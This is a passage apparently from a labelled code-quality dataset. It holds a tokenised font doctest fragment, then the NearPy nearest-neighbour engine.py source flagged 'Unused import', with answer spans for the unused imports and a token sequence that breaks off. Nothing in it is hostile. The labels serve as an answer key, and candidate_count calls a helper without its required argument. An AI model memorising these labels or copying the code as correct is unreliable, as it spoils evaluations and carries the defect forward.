"\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "path", " ", "=", " ", "os", ".", "path", ".", "join", "(", "font", ".", "path", ",", " ", "\"", "glyph", "s", "\",", " ", "\"", "A", "\\u.", "gli", "f", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "rb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "f", ".", "read", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "('", "<", "advance", " ", "widt", "h", "=\"", "700", "\"/>", "',", " ", "'<", "advance", " ", "widt", "h", "=\"", "701", "\"/>", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", ".", "widt", "h", "\\", "10", ";", " ", " ", " ", " ", "700", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "len", "(", "glyph", ")", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "font", ".", "relo", "ad", "Glyphs", "([", "\"", "A", "\"]", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "glyph", ".", "widt", "h", "\\", "10", ";", " ", " ", " ", " ", "701", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "len", "(", "glyph", ")", "\\", "10", ";", " ", " ", " ", " ", "2", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "t", " ", "=", " ", "t", ".", "replace", "('", "<", "advance", " ", "widt", "h", "=\"", "701", "\"/>", "',", " ", "'<", "advance", " ", "widt", "h", "=\"", "700", "\"/>", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "open", "(", "path", ",", " ", "\"", "wb", "\")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "write", "(", "t", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "close", "()", "\\", "10", ";", " ", " ", " ", " ", "\"\"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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
pixelogik/NearPy/nearpy/engine.py
[ { "content": "# -*- coding: utf-8 -*-\n\n# Copyright (c) 2013 Ole Krause-Sparmann\n\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nimport json\n\nimport numpy as np\n\nfrom nearpy.hashes import RandomBinaryProjections\nfrom nearpy.hashes import PCABinaryProjections\nfrom nearpy.hashes import RandomBinaryProjectionTree\nfrom nearpy.filters import NearestFilter, UniqueFilter\nfrom nearpy.distances import EuclideanDistance\nfrom nearpy.distances import CosineDistance\nfrom nearpy.storage import MemoryStorage\nfrom nearpy.utils.utils import unitvec\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Engine(object):\n \"\"\"\n Objects with this type perform the actual ANN search and vector indexing.\n They can be configured by selecting implementations of the Hash, Distance,\n Filter and Storage interfaces.\n\n There are four different modes of the engine:\n\n (1) Full configuration - All arguments are defined.\n In this case the distance and vector filters\n are applied to the bucket contents to deliver the\n resulting list of filtered (vector, data, distance) tuples.\n (2) No distance - The distance argument is None.\n In this case only the vector filters are applied to\n the bucket contents and the result is a list of\n filtered (vector, data) tuples.\n (3) No vector filter - The vector_filter argument is None.\n In this case only the distance is applied to\n the bucket contents and the result is a list of\n unsorted/unfiltered (vector, data, distance) tuples.\n (4) No vector filter and no distance - Both arguments are None.\n In this case the result is just the content from the\n buckets as an unsorted/unfiltered list of (vector, data)\n tuples.\n \"\"\"\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.Engine", "header": "['module', '___EOS___']", "index": 36 }, { "content": " def __init__(self, dim, lshashes=None,\n distance=None,\n fetch_vector_filters=None,\n vector_filters=None,\n storage=None):\n \"\"\" Keeps the configuration. \"\"\"\n if lshashes is None: lshashes = [RandomBinaryProjections('default', 10)]\n self.lshashes = lshashes\n if distance is None: distance = CosineDistance()\n self.distance = distance\n if vector_filters is None: vector_filters = [NearestFilter(10)]\n self.vector_filters = vector_filters\n if fetch_vector_filters is None: fetch_vector_filters = [UniqueFilter()]\n self.fetch_vector_filters = fetch_vector_filters\n if storage is None: storage = MemoryStorage()\n self.storage = storage\n\n # Initialize all hashes for the data space dimension.\n for lshash in self.lshashes:\n lshash.reset(dim)", "metadata": "root.Engine.__init__", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 62 }, { "content": " def store_vector(self, v, data=None):\n \"\"\"\n Hashes vector v and stores it in all matching buckets in the storage.\n The data argument must be JSON-serializable. It is stored with the\n vector and will be returned in search results.\n \"\"\"\n # We will store the normalized vector (used during retrieval)\n nv = unitvec(v)\n # Store vector in each bucket of all hashes\n for lshash in self.lshashes:\n for bucket_key in lshash.hash_vector(v):\n #print 'Storying in bucket %s one vector' % bucket_key\n self.storage.store_vector(lshash.hash_name, bucket_key,\n nv, data)", "metadata": "root.Engine.store_vector", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 83 }, { "content": " def candidate_count(self, v):\n \"\"\"\n Returns candidate count for nearest neighbour search for specified vector.\n The candidate count is the count of vectors taken from all buckets the\n specified vector is projected onto.\n\n Use this method to check if your hashes are configured good. High candidate\n counts makes querying slow.\n\n For example if you always want to retrieve 20 neighbours but the candidate\n count is 1000 or something you have to change the hash so that each bucket\n has less entries (increase projection count for example).\n \"\"\"\n # Collect candidates from all buckets from all hashes\n candidates = self._get_candidates()\n return len(candidates)", "metadata": "root.Engine.candidate_count", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 99 }, { "content": " def neighbours(self, v):\n \"\"\"\n Hashes vector v, collects all candidate vectors from the matching\n buckets in storage, applys the (optional) distance function and\n finally the (optional) filter function to construct the returned list\n of either (vector, data, distance) tuples or (vector, data) tuples.\n \"\"\"\n\n # Collect candidates from all buckets from all hashes\n candidates = self._get_candidates(v)\n # print 'Candidate count is %d' % len(candidates)\n\n # Apply fetch vector filters if specified and return filtered list\n if self.fetch_vector_filters:\n candidates = self._apply_filter(self.fetch_vector_filters, candidates)\n\n # Apply distance implementation if specified\n if self.distance:\n candidates = self._append_distances(v, self.distance, candidates)\n\n # Apply vector filters if specified and return filtered list\n if self.vector_filters:\n candidates = self._apply_filter(self.vector_filters, candidates)\n\n # If there is no vector filter, just return list of candidates\n return candidates", "metadata": "root.Engine.neighbours", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 116 }, { "content": " def _get_candidates(self, v):\n \"\"\" Collect candidates from all buckets from all hashes \"\"\"\n candidates = []\n for lshash in self.lshashes:\n for bucket_key in lshash.hash_vector(v, querying=True):\n bucket_content = self.storage.get_bucket(lshash.hash_name,\n bucket_key)\n #print 'Bucket %s size %d' % (bucket_key, len(bucket_content))\n candidates.extend(bucket_content)\n return candidates", "metadata": "root.Engine._get_candidates", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 144 }, { "content": " def _apply_filter(self, filters, candidates):\n \"\"\" Apply vector filters if specified and return filtered list \"\"\"\n if filters:\n filter_input = candidates\n for fetch_vector_filter in filters:\n filter_input = fetch_vector_filter.filter_vectors(filter_input)\n\n return filter_input\n else:\n return candidates", "metadata": "root.Engine._apply_filter", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 156 }, { "content": " def _append_distances(self, v, distance, candidates):\n \"\"\" Apply distance implementation if specified \"\"\"\n if distance:\n # Normalize vector (stored vectors are normalized)\n nv = unitvec(v)\n candidates = [(x[0], x[1], self.distance.distance(x[0], nv)) for x\n in candidates]\n\n return candidates", "metadata": "root.Engine._append_distances", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 167 }, { "content": " def clean_all_buckets(self):\n \"\"\" Clears buckets in storage (removes all vectors and their data). \"\"\"\n self.storage.clean_all_buckets()", "metadata": "root.Engine.clean_all_buckets", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 177 }, { "content": " def clean_buckets(self, hash_name):\n \"\"\" Clears buckets in storage (removes all vectors and their data). \"\"\"\n self.storage.clean_buckets(hash_name)", "metadata": "root.Engine.clean_buckets", "header": "['class', 'Engine', '(', 'object', ')', ':', '___EOS___']", "index": 181 } ]
[ { "span": "import json", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 11 }, { "span": "import numpy as np", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 18 }, { "span": "from nearpy.hashes import PCABinaryProjections", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 46 }, { "span": "from nearpy.hashes import RandomBinaryProjectionTree", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 52 }, { "span": "from nearpy.distances import EuclideanDistance", "start_line": 30, "start_column": 0, "end_line": 30, "end_column": 46 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2013", " ", "Ol", "e", " ", "Kra", "use", "-", "Spar", "man", "n_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Permi", "ssion", " ", "is", " ", "here", "by", " ", "grant", "ed", ",", " ", "free", " ", "of", " ", "charge", ",", " ", "to", " ", "any", " ", "person", " ", "obtain", "ing", " ", "a", " ", "copy_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "this", " ", "software", " ", "and", " ", "associate", "d", " ", "documentation", " ", "files", " ", "(", "the", " ", "\"", "Sof", "twa", "re", "\")", ",", " ", "to", " ", "deal", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "in", " ", "the", " ", "Sof", "twa", "re", " ", "with", "out", " ", "restriction", ",", " ", "inclu", "ding", " ", "with", "out", " ", "limit", "ation", " ", "the", " ", "rights_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "use", ",", " ", "copy", ",", " ", "modif", "y", ",", " ", "merge", ",", " ", "publi", "sh", ",", " ", "distribute", ",", " ", "subli", "cens", "e", ",", " ", "and", "/", "or", " ", "sell", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "copie", "s", " ", "of", " ", "the", " ", "Sof", "twa", "re", ",", " ", "and", " ", "to", " ", "permit", " ", "person", "s", " ", "to", " ", "who", "m", " ", "the", " ", "Sof", "twa", "re", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fur", "nish", "ed", " ", "to", " ", "do", " ", "so", ",", " ", "subject", " ", "to", " ", "the", " ", "follow", "ing", " ", "condition", "s", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "above", " ", "copyr", "ight", " ", "notice", " ", "and", " ", "this", " ", "permissi", "on", " ", "notice", " ", "sha", "ll", " ", "be", " ", "include", "d", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "all", " ", "copie", "s", " ", "or", " ", "substa", "nti", "al", " ", "porti", "ons", " ", "of", " ", "the", " ", "Sof", "twa", "re", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "\"", "AS", " ", "IS", "\",", " ", "WITH", "OUT", " ", "WAR", "RAN", "TY", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "EXPR", "ESS", " ", "OR_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IMPL", "IED", ",", " ", "INC", "LU", "DING", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", " ", "THE", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "AND", " ", "NON", "INF", "RING", "EME", "NT", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "AUTHOR", "S", " ", "OR", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "CLA", "IM", ",", " ", "DA", "MAGE", "S", " ", "OR", " ", "OTHER", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "AN", " ", "ACTI", "ON", " ", "OF", " ", "CONTR", "ACT", ",", " ", "TOR", "T", " ", "OR", " ", "OTHER", "WI", "SE", ",", " ", "ARI", "SIN", "G", " ", "FROM", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "OUT", " ", "OF", " ", "OR", " ", "IN", " ", "CONNECTION", " ", "WITH", " ", "THE", " ", "SOFT", "WARE", " ", "OR", " ", "THE", " ", "USE", " ", "OR", " ", "OTHER", " ", "DEA", "LING", "S", " ", "IN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "THE", " ", "SOFT", "WARE", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "near", "py_", "._", "hashes_", "import_", "Random", "Bin", "ary", "Projection", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "near", "py_", "._", "hashes_", "import_", "PCA", "Bin", "ary", "Projection", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "near", "py_", "._", "hashes_", "import_", "Random", "Bin", "ary", "Projection", "Tree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "near", "py_", "._", "filters_", "import_", "Near", "est", "Filter_", ",_", "Unique", "Filter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "near", "py_", "._", "distances_", "import_", "Euc", "lide", "an", "Distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "near", "py_", "._", "distances_", "import_", "Cos", "ine", "Distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "near", "py_", "._", "storage_", "import_", "Memo", "ry", "Storage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "near", "py_", "._", "utils_", "._", "utils_", "import_", "unit", "vec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Object", "s", " ", "with", " ", "this", " ", "type", " ", "perform", " ", "the", " ", "actual", " ", "ANN", " ", "search", " ", "and", " ", "vector", " ", "indexing", ".", "\\", "10", ";", " ", " ", " ", " ", "The", "y", " ", "can", " ", "be", " ", "configur", "ed", " ", "by", " ", "selecti", "ng", " ", "implementation", "s", " ", "of", " ", "the", " ", "Hash", ",", " ", "Distan", "ce", ",", "\\", "10", ";", " ", " ", " ", " ", "Filter", " ", "and", " ", "Stor", "age", " ", "interface", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "There", " ", "are", " ", "four", " ", "different", " ", "mode", "s", " ", "of", " ", "the", " ", "eng", "ine", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "(", "1", ")", " ", "Full", " ", "configura", "tion", " ", "-", " ", "All", " ", "argu", "ment", "s", " ", "are", " ", "defin", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "this", " ", "case", " ", "the", " ", "distance", " ", "and", " ", "vector", " ", "filter", "s", "\\", "10", ";", " ", " ", " ", " ", "are", " ", "applied", " ", "to", " ", "the", " ", "bucket", " ", "content", "s", " ", "to", " ", "deliver", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "result", "ing", " ", "list", " ", "of", " ", "filter", "ed", " ", "(", "vector", ",", " ", "data", ",", " ", "distance", ")", " ", "tuple", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "(", "2", ")", " ", "No", " ", "distance", " ", "-", " ", "The", " ", "distance", " ", "argu", "ment", " ", "is", " ", "Non", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "this", " ", "case", " ", "only", " ", "the", " ", "vector", " ", "filter", "s", " ", "are", " ", "applied", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "bucket", " ", "content", "s", " ", "and", " ", "the", " ", "result", " ", "is", " ", "a", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "filter", "ed", " ", "(", "vector", ",", " ", "data", ")", " ", "tuple", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "(", "3", ")", " ", "No", " ", "vector", " ", "filter", " ", "-", " ", "The", " ", "vector", "\\u", "filter", " ", "argu", "ment", " ", "is", " ", "Non", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "this", " ", "case", " ", "only", " ", "the", " ", "distance", " ", "is", " ", "applied", " ", "to", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "bucket", " ", "content", "s", " ", "and", " ", "the", " ", "result", " ", "is", " ", "a", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "unsorted", "/", "unfi", "lter", "ed", " ", "(", "vector", ",", " ", "data", ",", " ", "distance", ")", " ", "tuple", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "(", "4", ")", " ", "No", " ", "vector", " ", "filter", " ", "and", " ", "no", " ", "distance", " ", "-", " ", "Bot", "h", " ", "argu", "ment", "s", " ", "are", " ", "Non", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "In", " ", "this", " ", "case", " ", "the", " ", "result", " ", "is", " ", "just", " ", "the", " ", "content", " ", "from", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "bucket", "s", " ", "as", " ", "an", " ", "unsorted", "/", "unfi", "lter", "ed", " ", "list", " ", "of", " ", "(", "vector", ",", " ", "data", ")", "\\", "10", ";", " ", " ", " ", " ", "tuple", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "dim_", ",_", "lsh", "ash", "es_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "distance_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fetch", "\\u", "vector", "\\u", "filters_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vector", "\\u", "filters_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "storage_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Keep", "s", " ", "the", " ", "configura", "tion", ".", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "lsh", "ash", "es_", "is_", "None_", ":_", "lsh", "ash", "es_", "=_", "[_", "Random", "Bin", "ary", "Projection", "s_", "(_", "'", "default", "'_", ",_", "10_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "lsh", "ash", "es_", "=_", "lsh", "ash", "es_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "distance_", "is_", "None_", ":_", "distance_", "=_", "Cos", "ine", "Distance_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "distance_", "=_", "distance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "vector", "\\u", "filters_", "is_", "None_", ":_", "vector", "\\u", "filters_", "=_", "[_", "Near", "est", "Filter_", "(_", "10_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "vector", "\\u", "filters_", "=_", "vector", "\\u", "filters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "fetch", "\\u", "vector", "\\u", "filters_", "is_", "None_", ":_", "fetch", "\\u", "vector", "\\u", "filters_", "=_", "[_", "Unique", "Filter_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fetch", "\\u", "vector", "\\u", "filters_", "=_", "fetch", "\\u", "vector", "\\u", "filters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "storage_", "is_", "None_", ":_", "storage_", "=_", "Memo", "ry", "Storage_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "storage_", "=_", "storage_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Initializ", "e", " ", "all", " ", "hashe", "s", " ", "for", " ", "the", " ", "data", " ", "space", " ", "dimension", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "lsh", "ash_", "in_", "self_", "._", "lsh", "ash", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "lsh", "ash_", "._", "reset_", "(_", "dim_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "store", "\\u", "vector_", "(_", "self_", ",_", "v_", ",_", "data_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Hashe", "s", " ", "vector", " ", "v", " ", "and", " ", "store", "s", " ", "it", " ", "in", " ", "all", " ", "matchi", "ng", " ", "bucket", "s", " ", "in", " ", "the", " ", "storage", ".", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "data", " ", "argu", "ment", " ", "must", " ", "be", " ", "JSO", "N", "-", "serializable", ".", " ", "It", " ", "is", " ", "store", "d", " ", "with", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "vector", " ", "and", " ", "will", " ", "be", " ", "return", "ed", " ", "in", " ", "search", " ", "results", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "will", " ", "store", " ", "the", " ", "normali", "zed", " ", "vector", " ", "(", "used", " ", "dur", "ing", " ", "retrie", "val", ")_", "\\u\\u\\uNL\\u\\u\\u_", "nv_", "=_", "unit", "vec_", "(_", "v_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Stor", "e", " ", "vector", " ", "in", " ", "each", " ", "bucket", " ", "of", " ", "all", " ", "hashes_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "lsh", "ash_", "in_", "self_", "._", "lsh", "ash", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "bucket", "\\u", "key_", "in_", "lsh", "ash_", "._", "hash", "\\u", "vector_", "(_", "v_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "'", "Stor", "ying", " ", "in", " ", "bucket", " ", "%", "s", " ", "one", " ", "vector", "'", " ", "%", " ", "bucket", "\\u", "key_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "storage_", "._", "store", "\\u", "vector_", "(_", "lsh", "ash_", "._", "hash", "\\u", "name_", ",_", "bucket", "\\u", "key_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "nv_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Engine_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "candidate", "\\u", "count_", "(_", "self_", ",_", "v_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "candidate", " ", "count", " ", "for", " ", "near", "est", " ", "neighbour", " ", "search", " ", "for", " ", "specified", " ", "vector", ".", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "candidate", " ", "count", " ", "is", " ", "the", " ", "count", " ", "of", " ", "vector", "s", " ", "take", "n", " ", "from", " ", "all", " ", "bucket", "s", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "specified", " ", "vector", " ", "is", " ", "projected", " ", "onto", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Us", "e", " ", "this", " ", "method", " ", "to", " ", "check", " ", "if", " ", "your", " ", "hashe", "s", " ", "are", " ", "configur", "ed", " ", "good", ".", " ", "Hig", "h", " ", "candidate", "\\", "10", ";", " ", " ", " ", " ", "count", "s", " ", "make", "s", " ", "query", "ing", " ", "slow", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "For", " ", "example", " ", "if", " ", "you", " ", "alw", "ay", "s", " ", "want", " ", "to", " ", "retrieve", " ", "20", " ", "neighbour", "s", " ", "but", " ", "the", " ", "candidate", "\\", "10", ";", " ", " ", " ", " ", "count", " ", "is", " ", "1000", " ", "or", " ", "somet", "hing", " ", "you", " ", "have", " ", "to", " ", "change", " ", "the", " ", "hash", " ", "so", " ", "tha", "t", " ", "each", " ", "bucket", "\\", "10", ";", " ", " ", " ", " ", "has", " ", "less", " ", "entri", "es", " ", "(", "increase", " ", "projecti", "on", " ", "count", " ", "for", " ", "example", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Collect", " ", "candidate", "s", " ", "from", " ", "all", " ", "bucket", "s", " ", "from", " ", "all", " ", "hashes_", "\\u\\u\\uNL\\u\\u\\u_", "candidates_", "=_", "self_", "._", "\\u", "get", "\\u", "candidates_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "len_", "(_", 